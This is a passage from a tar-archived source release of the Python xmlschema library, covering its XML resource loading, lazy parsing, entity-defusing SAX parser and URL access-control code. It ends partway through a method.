parsing. """ if events is None: events = 'start-ns', 'end-ns', 'start', 'end' elif 'start' not in events or 'end' not in events: events = tuple(events) + ('start', 'end') if filter_fn is None: filter_fn = no_filter if clear_fn is None: clear_fn = no_cleanup level = 0 stop_node: Any = None root: Any = None node: Any try: for event, node in ElementTree.iterparse(fp, events): if event == 'end': level -= 1 if level < depth: if ancestors is not None: ancestors.pop() elif level == depth and stop_node is node: stop_node = None clear_fn(root, node, ancestors) elif event == 'start': if level < depth: if not level: root = node if ancestors is not None: ancestors.append(node) elif level == depth and not filter_fn(root, node, ancestors): stop_node = node level += 1 continue level += 1 if stop_node is None: yield event, node else: yield event, node except SyntaxError as err: raise XMLResourceParseError("invalid XML syntax: {}".format(err)) from err def iterfind_parser(path: str, namespaces: Optional[NsmapType] = None, ancestors: AncestorsType = None) -> IterParseType: selector = ElementPathSelector(path, namespaces) def filter_fn(root: ElementType, node: ElementType, ancestors: AncestorsType) -> bool: return selector.select_all or node in selector.iter_select(root) def clear_fn(root: ElementType, node: ElementType, ancestors: AncestorsType) -> None: node.clear() if ancestors is not None: if node in ancestors[-1]: ancestors[-1].remove(node) return partial( filtered_iterparse, filter_fn=filter_fn, clear_fn=clear_fn, ancestors=ancestors, depth=selector.depth ) ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/xmlschema/resources/sax.py����������������������������������������������������������0000664�0000000�0000000�00000007416�15020401055�0020635�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������# # Copyright (c), 2024, SISSA (International School for Advanced Studies). # All rights reserved. # This file is distributed under the terms of the MIT License. # See the file 'LICENSE' in the root directory of the present # distribution, or http://opensource.org/licenses/MIT. # # @author Davide Brunato <brunato@sissa.it> # import io from xml.sax import SAXParseException from xml.sax import expatreader # type: ignore[attr-defined, unused-ignore] from xml.dom import pulldom from pyexpat import XMLParserType from xmlschema.aliases import IOType from xmlschema.exceptions import XMLSchemaTypeError, XMLSchemaValueError, \ XMLResourceError, XMLResourceForbidden, XMLResourceOSError from xmlschema.utils.streams import DefusableReader class SafeExpatParser(expatreader.ExpatParser): # type: ignore[misc, unused-ignore] _parser: XMLParserType def forbid_entity_declaration(self, name, is_parameter_entity, # type: ignore value, base, sysid, pubid, notation_name): raise XMLResourceForbidden(f"Entities are forbidden (entity_name={name!r})") def forbid_unparsed_entity_declaration(self, name, base, # type: ignore sysid, pubid, notation_name): raise XMLResourceForbidden(f"Unparsed entities are forbidden (entity_name={name!r})") def forbid_external_entity_reference(self, context, base, sysid, pubid): # type: ignore raise XMLResourceForbidden( f"External references are forbidden (system_id={sysid!r}, public_id={pubid!r})" ) # pragma: no cover def reset(self) -> None: super().reset() self._parser.EntityDeclHandler = self.forbid_entity_declaration self._parser.UnparsedEntityDeclHandler = self.forbid_unparsed_entity_declaration self._parser.ExternalEntityRefHandler = self.forbid_external_entity_reference def defuse_xml(fp: IOType, rewind: bool = True) -> IOType: """ Defuses an XML source using a file-like object. For default the file-like object must be seekable because the file-like object is rewound to start position after the check. If it's not seekable, the file-like object is wrapped in a buffered reader if it's a `io.RawIOBase` or a `io.BufferedIOBase` object. :param fp: the file-like object to defuse. :param rewind: if `True` the file-like object is rewound after defusing. :return: the file-like object or its wrapper buffered reader. """ if rewind and not fp.seekable(): if isinstance(fp, io.RawIOBase): # Wrap a not seekable raw IO object in a BufferedReader fp = io.BufferedReader(fp) elif isinstance(fp, io.BufferedIOBase): # Other not seekable BufferedIOBase resources are wrapped in # a custom reader with an initial buffer of 64KiB bytes. try: fp = DefusableReader(fp) except (OSError, TypeError, ValueError) as err: if isinstance(err, OSError): raise XMLResourceOSError(err) elif isinstance(err, TypeError): raise XMLSchemaTypeError(err) else: raise XMLSchemaValueError(err) else: msg = f"can't defuse {fp!r}: it can't be rewound after the check" raise XMLResourceError(msg) parser = SafeExpatParser() try: for event, node in pulldom.parse(fp, parser): if event == pulldom.START_ELEMENT: break except SAXParseException: pass # the purpose is to defuse not to check xml source syntax except OSError as err: raise XMLResourceOSError(err) if rewind: try: fp.seek(0) except OSError as err: raise XMLResourceOSError(err) return fp ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/xmlschema/resources/xml_loader.py���������������������������������������������������0000664�0000000�0000000�00000031660�15020401055�0022166�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������# # Copyright (c), 2024, SISSA (International School for Advanced Studies). # All rights reserved. # This file is distributed under the terms of the MIT License. # See the file 'LICENSE' in the root directory of the present # distribution, or http://opensource.org/licenses/MIT. # # @author Davide Brunato <brunato@sissa.it> # import platform from itertools import zip_longest from collections.abc import Iterator from threading import Lock, RLock from typing import cast, Any, Optional, Union from elementpath import ElementNode, LazyElementNode, DocumentNode, \ build_lxml_node_tree, build_node_tree from elementpath.protocols import LxmlElementProtocol from xmlschema.aliases import ElementType, ElementTreeType, \ EtreeType, IOType, IterParseType, ParentMapType from xmlschema.exceptions import XMLResourceError, XMLResourceParseError from xmlschema.utils.misc import iter_class_slots from xmlschema.utils.qnames import get_namespace from .arguments import LazyArgument, ThinLazyArgument, IterParseArgument LazyLockType = RLock if platform.python_implementation() == 'PyPy' else Lock class XMLResourceLoader: """ A proxy for XML data loading that can handle full or lazy loads of XML trees. """ # Descriptor-based attributes for arguments lazy = LazyArgument() thin_lazy = ThinLazyArgument() iterparse = IterParseArgument() # Private attributes for arguments _lazy: Union[bool, int] _thin_lazy: bool _iterparse: IterParseType # Protected attributes for XML data _xpath_root: Union[None, ElementNode, DocumentNode] _nsmaps: dict[ElementType, dict[str, str]] _xmlns: dict[ElementType, list[tuple[str, str]]] _parent_map: Optional[ParentMapType] root: ElementType """The XML tree root Element.""" __slots__ = ('root', '_nsmaps', '_xmlns', '_lazy', '_thin_lazy', '_iterparse', '_xpath_root', '_parent_map', '__dict__') def __init__(self, source: Union[IOType, EtreeType], lazy: Union[bool, int] = False, thin_lazy: bool = True, iterparse: Optional[IterParseType] = None) -> None: self.lazy = lazy self.thin_lazy = thin_lazy self.iterparse = iterparse self._nsmaps = {} self._xmlns = {} self._xpath_root = None self._parent_map = None self._lazy_lock = LazyLockType() if hasattr(source, 'read'): fp = cast(IOType, source) if self._lazy: for _ in self._lazy_iterparse(fp): break else: self._parse(fp) else: if hasattr(source, 'tag'): self.root = cast(ElementType, source) else: self.root = cast(ElementTreeType, source).getroot() if self._lazy: msg = f"a {self.__class__.__name__} created from an ElementTree can't be lazy" raise XMLResourceError(msg) if hasattr(self.root, 'nsmap') and hasattr(self.root, 'xpath'): self._parse_namespace_declarations() def __repr__(self) -> str: if not hasattr(self, 'root'): return '<%s object at %#x>' % (self.__class__.__name__, id(self)) return '%s(root=%r)' % (self.__class__.__name__, self.root) def __getstate__(self) -> dict[str, Any]: state = self.__dict__.copy() for attr in iter_class_slots(self): if attr not in state and attr != '__dict__': state[attr] = getattr(self, attr) state.pop('_lazy_lock', None) return state def __setstate__(self, state: dict[str, Any]) -> None: for attr in iter_class_slots(self): if attr in state and attr != '__dict__': object.__setattr__(self, attr, state.pop(attr)) self.__dict__.update(state) self._lazy_lock = LazyLockType() def __copy__(self) -> 'XMLResourceLoader': obj: 'XMLResourceLoader' = object.__new__(self.__class__) obj.__dict__.update(self.__dict__) for attr in iter_class_slots(self): if attr != '__dict__': object.__setattr__(obj, attr, getattr(self, attr)) obj._nsmaps = self._nsmaps.copy() obj._xmlns = self._xmlns.copy() obj._xpath_root = None obj._parent_map = None obj._lazy_lock = LazyLockType() return obj @property def namespace(self) -> str: """The namespace of the XML resource.""" return get_namespace(self.root.tag) @property def parent_map(self) -> dict[ElementType, Optional[ElementType]]: if self._lazy: raise XMLResourceError("can't create the parent map of a lazy XML resource") if self._parent_map is None: self._parent_map = {child: elem for elem in self.root.iter() for child in elem} self._parent_map[self.root] = None return self._parent_map @property def xpath_root(self) -> Union[ElementNode, DocumentNode]: """The XPath root node.""" if self._xpath_root is None: if self._lazy: self._xpath_root = LazyElementNode(self.root, nsmap=self._nsmaps[self.root]) elif hasattr(self.root, 'xpath'): self._xpath_root = build_lxml_node_tree(cast(LxmlElementProtocol, self.root)) else: try: _nsmap = self._nsmaps[self.root] except KeyError: # A resource based on an ElementTree structure (no namespace maps) self._xpath_root = build_node_tree(self.root) else: node_tree = build_node_tree(self.root, _nsmap) # Update namespace maps for node in node_tree.iter_descendants(with_self=False): if isinstance(node, ElementNode): nsmap = self._nsmaps[cast(ElementType, node.obj)] node.nsmap = {k or '': v for k, v in nsmap.items()} self._xpath_root = node_tree return self._xpath_root def clear(self, elem: ElementType) -> None: if elem not in self._nsmaps: del elem[:] else: self._clear(elem) def get_nsmap(self, elem: ElementType) -> Optional[dict[str, str]]: """ Returns the namespace map (nsmap) of the element. Returns `None` if no nsmap is found for the element. Lazy resources have only the nsmap for the root element. """ try: return self._nsmaps[elem] except KeyError: return getattr(elem, 'nsmap', None) # an lxml element def get_xmlns(self, elem: ElementType) -> Optional[list[tuple[str, str]]]: """ Returns the list of namespaces declarations (xmlns and xmlns:<prefix> attributes) of the element. Returns `None` if the element doesn't have namespace declarations. Lazy resources have only the namespace declarations for the root element. """ return self._xmlns.get(elem) def get_xpath_node(self, elem: ElementType) -> ElementNode: """ Returns an XPath node for the element, fetching it from the XPath root node. Returns a new lazy element node if the matching element node is not found. """ xpath_node = self.xpath_root.get_element_node(elem) if isinstance(xpath_node, ElementNode): return xpath_node try: return LazyElementNode(elem, nsmap=self._nsmaps[elem]) except KeyError: return LazyElementNode(elem) def get_absolute_path(self, path: Optional[str] = None) -> str: if path is None: if self._lazy: return f"/{self.root.tag}/{'/'.join('*' * int(self._lazy))}" return f'/{self.root.tag}' elif path.startswith('/'): return path else: return f'/{self.root.tag}/{path}' ## # Protected parsing and clearing methods def _lazy_iterparse(self, fp: IOType) -> Iterator[tuple[str, ElementType]]: events: tuple[str, ...] events = 'start-ns', 'end-ns', 'start', 'end' root_started = False start_ns: list[tuple[str, str]] = [] end_ns = False nsmap_stack: list[dict[str, str]] = [{}] self._nsmaps.clear() self._xmlns.clear() acquired = self._lazy_lock.acquire(blocking=False) if not acquired: raise XMLResourceError(f"lazy resource {self!r} is already under iteration") try: for event, node in self._iterparse(fp, events): if event == 'start': if end_ns: nsmap_stack.pop() end_ns = False if start_ns: nsmap_stack.append(nsmap_stack[-1].copy()) nsmap_stack[-1].update(start_ns) self._xmlns[node] = start_ns start_ns = [] self._nsmaps[node] = nsmap_stack[-1] if not root_started: self.root = node self._xpath_root = LazyElementNode( self.root, nsmap=self._nsmaps[node] ) root_started = True yield event, node elif event == 'end': if end_ns: nsmap_stack.pop() end_ns = False yield event, node elif event == 'start-ns': start_ns.append(node) else: end_ns = True except SyntaxError as err: raise XMLResourceParseError("invalid XML syntax: {}".format(err)) from err finally: self._lazy_lock.release() def _parse(self, fp: IOType) -> None: root_started = False start_ns: list[tuple[str, str]] = [] end_ns = False nsmaps = self._nsmaps xmlns = self._xmlns events = 'start-ns', 'end-ns', 'start' nsmap_stack: list[dict[str, str]] = [{}] try: for event, node in self._iterparse(fp, events): if event == 'start': if not root_started: self.root = node root_started = True if end_ns: nsmap_stack.pop() end_ns = False if start_ns: nsmap_stack.append(nsmap_stack[-1].copy()) nsmap_stack[-1].update(start_ns) xmlns[node] = start_ns start_ns = [] nsmaps[node] = nsmap_stack[-1] elif event == 'start-ns': start_ns.append(node) else: end_ns = True except SyntaxError as err: raise XMLResourceParseError("invalid XML syntax: {}".format(err)) from err def _clear(self, elem: ElementType, ancestors: Optional[list[ElementType]] = None) -> None: if ancestors and self._thin_lazy: # Delete preceding elements for parent, child in zip_longest(ancestors, ancestors[1:]): if child is None: child = elem for k, e in enumerate(parent): if child is not e: if e in self._xmlns: del self._xmlns[e] del self._nsmaps[e] else: if k: del parent[:k] break for e in elem.iter(): if elem is not e: if e in self._xmlns: del self._xmlns[e] del self._nsmaps[e] del elem[:] # delete children, keep attributes, text and tail. # reset the whole XPath tree to let it still usable if other # children are added to the root by ElementTree.iterparse(). if self._xpath_root is not None: self._xpath_root.children.clear() def _parse_namespace_declarations(self) -> None: nsmap = {} lxml_nsmap = None for elem in cast(Any, self.root.iter()): if callable(elem.tag): self._nsmaps[elem] = {} continue if lxml_nsmap != elem.nsmap: nsmap = {k or '': v for k, v in elem.nsmap.items()} lxml_nsmap = elem.nsmap parent = elem.getparent() if parent is None: xmlns = [(k or '', v) for k, v in nsmap.items()] elif parent.nsmap != elem.nsmap: xmlns = [(k or '', v) for k, v in elem.nsmap.items() if k not in parent.nsmap or v != parent.nsmap[k]] else: xmlns = None self._nsmaps[elem] = nsmap if xmlns: self._xmlns[elem] = xmlns ��������������������������������������������������������������������������������xmlschema-4.1.0/xmlschema/resources/xml_resource.py�������������������������������������������������0000664�0000000�0000000�00000077107�15020401055�0022555�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������# # Copyright (c), 2024, SISSA (International School for Advanced Studies). # All rights reserved. # This file is distributed under the terms of the MIT License. # See the file 'LICENSE' in the root directory of the present # distribution, or http://opensource.org/licenses/MIT. # # @author Davide Brunato <brunato@sissa.it> # import io import os.path import threading from collections import deque from collections.abc import Iterator, MutableMapping from io import StringIO, BytesIO from pathlib import Path from types import TracebackType from typing import cast, Any, Optional, Union from urllib.request import urlopen, OpenerDirector from urllib.parse import urlsplit, unquote from urllib.error import URLError from xml.etree import ElementTree from xmlschema.aliases import ElementType, EtreeType, NsmapType, \ NormalizedLocationsType, LocationsType, XMLSourceType, IOType, \ LazyType, IterParseType, UriMapperType from xmlschema.exceptions import XMLSchemaTypeError, XMLSchemaValueError, \ XMLResourceError, XMLResourceOSError, XMLResourceBlocked from xmlschema.utils.paths import LocationPath from xmlschema.utils.etree import is_etree_element, etree_tostring, etree_iter_location_hints from xmlschema.utils.misc import iter_class_slots from xmlschema.utils.streams import is_file_object from xmlschema.utils.qnames import update_namespaces, get_namespace_map from xmlschema.utils.urls import is_url, is_remote_url, is_local_url, normalize_url, \ normalize_locations from xmlschema.utils.descriptors import Argument from xmlschema.xpath import ElementSelector from .sax import defuse_xml from .arguments import SourceArgument, BaseUrlArgument, AllowArgument, DefuseArgument, \ TimeoutArgument, UriMapperArgument, OpenerArgument, SelectorArgument from .xml_loader import XMLResourceLoader class XMLResourceManager: """A context manager for XML resources.""" def __init__(self, resource: 'XMLResource'): self.resource = resource def __enter__(self) -> 'XMLResourceManager': self.fp = self.resource.open() return self def __exit__(self, exc_type: Optional[type[BaseException]], exc_value: Optional[BaseException], exc_tb: Optional[TracebackType]) -> None: if self.resource.fp is None or not self.resource.fp.seekable(): self.fp.close() class XMLResource(XMLResourceLoader): """ XML resource manager based on ElementTree and urllib. :param source: a string containing the XML document or file path or a URL or a \ file like object or an ElementTree or an Element. :param base_url: is an optional base URL, used for the normalization of relative paths \ when the URL of the resource can't be obtained from the source argument. For security \ the access to a local file resource is always denied if the *base_url* is a remote URL. :param allow: defines the security mode for accessing resource locations. Can be \ 'all', 'remote', 'local', 'sandbox' or 'none'. Default is 'all', which means all types \ of URLs are allowed. With 'remote' only remote resource URLs are allowed. With 'local' \ only file paths and URLs are allowed. With 'sandbox' only file paths and URLs that \ are under the directory path identified by the *base_url* argument are allowed. \ If you provide 'none', no resources will be allowed from any location. :param defuse: defines when to defuse XML data using a `SafeXMLParser`. Can be \ 'always', 'remote', 'nonlocal' or 'never'. For default defuses only remote XML data. \ With 'always' all the XML data that is not already parsed is defused. With 'nonlocal' \ it defuses unparsed data except local files. With 'never' no XML data source is defused. :param timeout: the timeout in seconds for the connection attempt in case of remote data. :param lazy: if a value `False` or 0 is provided the XML data is fully loaded into and \ processed from memory. When a resource is lazy only the root element of the source is \ loaded. A positive integer also defines the depth at which the lazy resource can be \ better iterated (`True` means 1). :param thin_lazy: for default, in order to reduce the memory usage, during the \ iteration of a lazy resource at *lazy_depth* level, deletes also the preceding \ elements after the use. :param uri_mapper: an optional URI mapper for using relocated or URN-addressed \ resources. Can be a dictionary or a function that takes the URI string and returns \ a URL, or the argument if there is no mapping for it. :param opener: an optional :class:`OpenerDirector` to use for open the resource. \ For default use the opener installed globally for *urlopen*. :param iterparse: an optional callable that returns an iterator parser instance used \ for building the XML tree. For default that callable is *ElementTree.iterparse*, \ provide *lxml.etree.iterparse* to build lxml trees or another callable if a \ different parsing of your data. """ # Descriptor-based attributes for arguments source = SourceArgument() base_url = BaseUrlArgument() allow = AllowArgument() defuse = DefuseArgument() timeout = TimeoutArgument() uri_mapper = UriMapperArgument() opener = OpenerArgument() selector = SelectorArgument() # Private attributes for arguments _source: XMLSourceType _base_url: Optional[str] _allow: str _defuse: str _timeout: int _uri_mapper: Optional[UriMapperType] _opener: Optional[OpenerDirector] _selector: type[ElementSelector] text: Optional[str] = None """The XML text source, `None` if it's not loaded or available.""" url: Optional[str] = None """An URL if the source is an URL or a file-like object with a remote url.""" fp: Optional[IOType] = None """An file-like object if the source is a file-like object.""" _url_scheme: Optional[str] = None _context_fp: Optional[IOType] = None _context_lock: threading.Lock = threading.Lock() def __init__(self, source: XMLSourceType, base_url: Union[None, str, Path, bytes] = None, allow: str = 'all', defuse: str = 'remote', timeout: int = 300, lazy: LazyType = False, thin_lazy: bool = True, uri_mapper: Optional[UriMapperType] = None, opener: Optional[OpenerDirector] = None, iterparse: Optional[IterParseType] = None, selector: Optional[type[ElementSelector]] = None) -> None: if allow == 'sandbox' and base_url is None: msg = "block access to files out of sandbox requires 'base_url' to be set" raise XMLSchemaValueError(msg) # set and validate arguments self.base_url = base_url self.allow = allow self.defuse = defuse self.timeout = timeout self.uri_mapper = uri_mapper self.opener = opener self.selector = selector self.source = source if is_url(source): assert isinstance(source, (str, bytes, Path)) self.url = self.get_url(source) self._url_scheme = urlsplit(self.url).scheme self.access_control(self.url) elif isinstance(source, str): self.text = source elif isinstance(source, StringIO): self.text = source.getvalue() elif isinstance(source, (bytes, BytesIO)): pass elif is_file_object(source): # source is a file-like object (remote resource or local file) self.fp = cast(IOType, source) self.access_control(getattr(source, 'url', None)) else: super().__init__( cast(EtreeType, source), lazy, thin_lazy, iterparse ) return with XMLResourceManager(self) as cm: super().__init__(cm.fp, lazy, thin_lazy, iterparse) @property def name(self) -> Optional[str]: """ The source name, is `None` if the instance is created from an Element or a string. """ return None if self.url is None else os.path.basename(unquote(self.url)) @property def filepath(self) -> Optional[str]: """ The resource filepath if the instance is created from a local file, `None` otherwise. """ if self.url: url_parts = urlsplit(self.url) if url_parts.scheme in ('', 'file'): return str(LocationPath.from_uri(self.url)) return None @property def lazy_depth(self) -> int: """ The depth at which the XML tree of the resource is fully loaded during iterations methods. Is a positive integer for lazy resources and 0 for fully loaded XML trees. """ return int(self._lazy) def is_lazy(self) -> bool: """Returns `True` if the XML resource is lazy.""" return bool(self._lazy) def is_thin(self) -> bool: """Returns `True` if the XML resource is lazy and thin.""" return bool(self._lazy) and self._thin_lazy def is_remote(self) -> bool: """Returns `True` if the resource is related with remote XML data.""" return is_remote_url(self.url) def is_local(self) -> bool: """Returns `True` if the resource is related with local XML data.""" return is_local_url(self.url) def is_data(self) -> bool: """Returns `True` if the instance source argument is a data object.""" return not isinstance(self._source, (str, bytes, Path)) \ and not hasattr(self._source, 'read') def is_loaded(self) -> bool: """Returns `True` if the XML text of the data source is loaded.""" return self.text is not None def is_defused(self) -> bool: """Returns `True` if the XML data is defused before parsing.""" return self._defuse == 'remote' and is_remote_url(self.base_url) \ or self._defuse == 'nonlocal' and not is_local_url(self.base_url) \ or self._defuse == 'always' def get_url(self, location: Union[str, bytes, Path]) -> str: """ Get the resource URL from a location. :param location: The location to get the resource URL from. \ Can be a URI or file Path object. """ if isinstance(location, str): uri = location.strip() elif isinstance(location, bytes): uri = location.decode().strip() else: uri = str(location) if isinstance(self._uri_mapper, MutableMapping): if uri in self._uri_mapper: uri = self._uri_mapper[uri] elif callable(self._uri_mapper): uri = self._uri_mapper(uri) return normalize_url(uri, self._base_url) def match_location(self, location: str) -> bool: """Matches the location with the URL the XML resource. URL schemes are compared """ if self.url is None: return False url = self.get_url(location) if self._url_scheme in ('http', 'https', 'ftp', 'ftps') and \ url.startswith(('http://', 'https://', 'ftp://', 'sftp://')) and \ url[:5] != self.url[:5]: url = url.replace(self.url[:5], self.url[:5], 1) return self.url == url def access_control(self, url: Optional[str]) -> None: if self._allow == 'all' or url is None: return elif self._allow == 'none': raise XMLResourceBlocked(f"block access to resource {url}") elif self._allow == 'remote': if is_local_url(url): raise XMLResourceBlocked(f"block access to local resource {url}") elif is_remote_url(url): raise XMLResourceBlocked(f"block access to remote resource {url}") elif self._allow == 'sandbox' and self._base_url is not None: if not url.startswith(normalize_url(self._base_url)): raise XMLResourceBlocked(f"block access to out of sandbox file {url}") def parse(self, source: XMLSourceType, lazy: LazyType = False) -> None: """Parse another XML resource and load it into the instance.""" kwargs = self.get_arguments() kwargs['source'] = source kwargs['lazy'] = lazy other = self.__class__(**kwargs) for name in iter_class_slots(self): setattr(self, name, getattr(other, name)) del other def get_arguments(self) -> dict[str, Any]: """Returns keyword arguments for rebuilding the XML resource.""" return {k: getattr(self, k) for k, v in self.__class__.__dict__.items() if isinstance(v, Argument)} def get_text(self) -> str: """ Gets the source text of the XML document. If the source text is not available creates an encoded string representation of the XML tree. Il the resource is lazy raises a resource error. """ if self.text is not None: return self.text elif self.url is not None: self.load() if self.text is not None: return self.text return self.tostring(xml_declaration=True) def tostring(self, namespaces: Optional[MutableMapping[str, str]] = None, indent: str = '', max_lines: Optional[int] = None, spaces_for_tab: int = 4, xml_declaration: bool = False, encoding: str = 'unicode', method: str = 'xml') -> str: """ Serialize an XML resource to a string. :param namespaces: is an optional mapping from namespace prefix to URI. \ Provided namespaces are registered before serialization. Ignored if the \ provided *elem* argument is a lxml Element instance. :param indent: the baseline indentation. :param max_lines: if truncate serialization after a number of lines \ (default: do not truncate). :param spaces_for_tab: number of spaces for replacing tab characters. For \ default tabs are replaced with 4 spaces, provide `None` to keep tab characters. :param xml_declaration: if set to `True` inserts the XML declaration at the head. :param encoding: if "unicode" (the default) the output is a string, \ otherwise it’s binary. :param method: is either "xml" (the default), "html" or "text". :return: a Unicode string. """ if self._lazy: raise XMLResourceError("can't serialize a lazy XML resource") if not hasattr(self.root, 'nsmap'): namespaces = self.get_namespaces(namespaces, root_only=False) _string = etree_tostring( elem=self.root, namespaces=namespaces, indent=indent, max_lines=max_lines, spaces_for_tab=spaces_for_tab, xml_declaration=xml_declaration, encoding=encoding, method=method ) if isinstance(_string, bytes): # pragma: no cover return _string.decode('utf-8') return _string def subresource(self, elem: ElementType) -> 'XMLResource': """Create an XMLResource instance from a subelement of a non-lazy XML tree.""" if self._lazy: raise XMLResourceError("can't create a subresource from a lazy XML resource") elif not is_etree_element(elem): raise XMLSchemaTypeError("argument must be an Element instance") for e in self.root.iter(): # pragma: no cover if e is elem: break else: msg = "{!r} is not an element or the XML resource tree" raise XMLSchemaValueError(msg.format(elem)) resource = XMLResource(elem, self.base_url, self._allow, self._defuse, self._timeout) if not hasattr(elem, 'nsmap'): for e in elem.iter(): resource._nsmaps[e] = self._nsmaps[e] if e is elem: ns_declarations = [(k, v) for k, v in self._nsmaps[e].items()] if ns_declarations: resource._xmlns[e] = ns_declarations elif e in self._xmlns: resource._xmlns[e] = self._xmlns[e] return resource def open(self, use_loaded: bool = False) -> IOType: """ Returns an opened resource reader object for the instance URL. If the source attribute is a seekable file-like object rewind the source and return it. If required by configuration the XML resource is defused before returning if to the caller. """ def open_url(url: str) -> IOType: try: if self._opener is not None: return cast(IOType, self._opener.open(url, timeout=self._timeout)) return cast(IOType, urlopen(url, timeout=self._timeout)) except URLError as err: raise XMLResourceOSError(f"can't access to resource {url!r}: {err.reason}") if use_loaded and self.text is not None: fp: IOType = StringIO(self.text) elif self.fp is not None: if self.fp.closed: msg = f"can't open {self!r}: its file-like object has been closed" raise XMLResourceOSError(msg) elif self.fp.seekable() and self.fp.seek(0) != 0: msg = f"can't open {self!r}: its file-like object can't be rewound" raise XMLResourceOSError(msg) else: fp = self.fp elif self.url is not None: fp = open_url(self.url) elif isinstance(self._source, str): fp = StringIO(self._source) elif isinstance(self._source, bytes): fp = BytesIO(self._source) elif isinstance(self._source, StringIO): fp = StringIO(self._source.getvalue()) elif isinstance(self._source, BytesIO): fp = BytesIO(self._source.getvalue()) else: msg = f"can't open {self!r}: its source is an ElementTree structure" raise XMLResourceError(msg) if self.is_defused(): if fp.seekable() or isinstance(fp, (io.RawIOBase, io.BufferedIOBase)) and \ (self._opener is None or self.url is None): # For seekable file-like objects or ones that can be wrapped in # a buffered reader defuse with rewind option if no custom opener # is provided and the instance has an url, otherwise fallback to # double opening with no rewind after the defusing. try: return defuse_xml(fp) except XMLResourceError: if self.fp is None: fp.close() raise elif self.url is not None: # If the file-like object is created from a URL, create a new # file-like object for defusing XML data. On remote data this # method is less safe. with open_url(self.url) as _fp: defuse_xml(_fp, rewind=False) else: msg = f"can't defuse {self!r}: its file-like object is not seekable" raise XMLResourceOSError(msg) return fp def seek(self, position: int) -> Optional[int]: """ Change stream position if the XML resource was created with a seekable file-like object. In the other cases this method has no effect. """ return self.fp.seek(position) if self.fp is not None and self.fp.seekable() else None def close(self) -> None: """ Close the XML resource if it's created with a file-like object. In other cases this method has no effect. """ if self.fp is not None: self.fp.close() def load(self) -> None: """ Loads the XML text from the data source. If the data source is an Element the source XML text can't be retrieved. """ if self.url is None and not hasattr(self._source, 'read') and \ not isinstance(self._source, bytes): return # Created from Element or text source --> already loaded elif self._lazy: raise XMLResourceError("can't load a lazy XML resource") with XMLResourceManager(self) as cm: data = cm.fp.read() if isinstance(data, bytes): try: text = data.decode('utf-8') except UnicodeDecodeError: text = data.decode('iso-8859-1') else: text = data self.text = text def iter(self, tag: Optional[str] = None) -> Iterator[ElementType]: """ XML resource tree iterator. If tag is not None or '*', only elements whose tag equals tag are returned from the iterator. In a lazy resource the yielded elements are full over or at *lazy_depth* level, otherwise are incomplete and thin for default. """ if not self._lazy: yield from self.root.iter(tag) return tag = '*' if tag is None else tag.strip() lazy_depth = int(self._lazy) subtree_elements: deque[ElementType] = deque() ancestors = [] level = 0 with XMLResourceManager(self) as cm: for event, node in self._lazy_iterparse(cm.fp): if event == "start": if level < lazy_depth: if level: ancestors.append(node) if tag == '*' or node.tag == tag: yield node # an incomplete element level += 1 else: level -= 1 if level < lazy_depth: if level: ancestors.pop() continue # pragma: no cover elif level > lazy_depth: if tag == '*' or node.tag == tag: subtree_elements.appendleft(node) continue # pragma: no cover if tag == '*' or node.tag == tag: yield node # a full element yield from subtree_elements subtree_elements.clear() self._clear(node, ancestors) def iter_location_hints(self, tag: Optional[str] = None) -> Iterator[tuple[str, str]]: """ Yields all schema location hints of the XML resource. If tag is not None or '*', only location hints of elements whose tag equals tag are returned from the iterator. """ for elem in self.iter(tag): yield from etree_iter_location_hints(elem) def iter_depth(self, mode: int = 1, ancestors: Optional[list[ElementType]] = None) \ -> Iterator[ElementType]: """ Iterates XML subtrees. For fully loaded resources yields the root element. On lazy resources the argument *mode* can change the sequence and the completeness of yielded elements. There are four possible modes, that generate different sequences of elements:\n 1. Only the elements at *depth_level* level of the tree\n 2. Only the elements at *depth_level* level of the tree removing\n the preceding elements of ancestors (thin lazy tree) 3. Only a root element pruned at *depth_level*\n 4. The elements at *depth_level* and then a pruned root\n 5. An incomplete root at start, the elements at *depth_level* and a pruned root\n :param mode: an integer in range [1..5] that defines the iteration mode. :param ancestors: provide a list for tracking the ancestors of yielded elements. """ if mode not in (1, 2, 3, 4, 5): raise XMLSchemaValueError(f"invalid argument mode={mode!r}") if ancestors is not None: ancestors.clear() elif mode <= 2: ancestors = [] if not self._lazy: yield self.root return level = 0 lazy_depth = int(self._lazy) # boolean flags incomplete_root = mode == 5 pruned_root = mode > 2 depth_level_elements = mode != 3 thin_lazy = mode <= 2 with XMLResourceManager(self) as cm: for event, elem in self._lazy_iterparse(cm.fp): if event == "start": if not level: if incomplete_root: yield elem if ancestors is not None and level < lazy_depth: ancestors.append(elem) level += 1 else: level -= 1 if not level: if pruned_root: yield elem continue elif level != lazy_depth: if ancestors is not None and level < lazy_depth: ancestors.pop() continue # pragma: no cover elif depth_level_elements: yield elem if thin_lazy: self._clear(elem, ancestors) else: self._clear(elem) if self._xpath_root is not None: self.xpath_root.children.clear() def iterfind(self, path: str, namespaces: Optional[NsmapType] = None, ancestors: Optional[list[ElementType]] = None) -> Iterator[ElementType]: """ Apply XPath selection to XML resource that yields full subtrees. :param path: an XPath 2.0 expression that selects element nodes. \ Selecting other values or nodes raise an error. :param namespaces: an optional mapping from namespace prefixes to URIs \ used for parsing the XPath expression. :param ancestors: provide a list for tracking the ancestors of yielded elements. """ selector = self._selector.cached_selector(path, namespaces) if not self._lazy: if ancestors is None: yield from selector.iter_select(self) else: for elem in selector.iter_select(self): if elem is self.root: ancestors.clear() else: _ancestors: Any = [] parent = self.parent_map[elem] while parent is not None: _ancestors.append(parent) parent = self.parent_map[parent] if _ancestors: ancestors.clear() ancestors.extend(reversed(_ancestors)) yield elem return lazy_depth = int(self._lazy) path_depth = selector.depth if path_depth < 1: raise XMLSchemaValueError(f"can't use path {path!r} on a lazy resource") elif path_depth < lazy_depth: raise XMLSchemaValueError(f"can't use path {path!r} on a lazy resource " f"with lazy_depth=={lazy_depth}") select_all = selector.select_all level = 0 if ancestors is not None: ancestors.clear() elif self._thin_lazy: ancestors = [] with XMLResourceManager(self) as cm: for event, node in 